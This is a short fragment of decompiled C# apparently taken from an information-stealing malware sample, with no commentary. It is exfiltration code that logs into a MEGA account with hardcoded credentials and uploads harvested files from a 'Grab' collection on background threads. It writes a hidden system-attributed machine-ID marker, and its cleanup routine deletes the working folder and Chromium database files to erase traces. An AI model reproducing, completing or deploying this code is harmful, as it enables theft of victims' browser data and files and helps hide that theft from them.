// Token: 0x060001FC RID: 508 RVA: 0x00021C6C File Offset: 0x0001FE6C public static void asy() { foreach (string file in Grab.Zip) { MegaSend.TaskUpl(file); } }
// Token: 0x06000192 RID: 402 RVA: 0x0000C5B0 File Offset: 0x0000A7B0 public static void Send(string file) { MegaSend.client.Login(Program.megaLOGIN, Program.megaPass); MegaSend.TaskUpl(file); MegaSend.client.Logout(); File.AppendAllText(Help.LocalData + "\\" + Help.HWID, Help.HWID + Help.dateLog); File.SetAttributes(Help.LocalData + "\\" + Help.HWID, FileAttributes.Hidden | FileAttributes.System); }
// Token: 0x06000193 RID: 403 RVA: 0x0000C628 File Offset: 0x0000A828 public static void TaskUpl(string file) { Task[] MT = new Task[] { new Task(delegate() { MegaSend.Upload(file); }) }; new Thread(delegate() { Task[] mt = MT; for (int i = 0; i < mt.Length; i++) { mt[i].Start(); } }).Start(); Task.WaitAll(MT); }
// Token: 0x060001F6 RID: 502 RVA: 0x000219EC File Offset: 0x0001FBEC public static void GetClean() { try { Console.WriteLine("Очистка рабочей папки"); if (Directory.Exists(Help.dir)) { Directory.Delete(Help.dir + "\\", true); } if (File.Exists(Chromium.bd)) { File.Delete(Chromium.bd); } if (File.Exists(Chromium.ls)) { File.Delete(Chromium.ls); } MegaSend.MegaQuit(); } catch { } }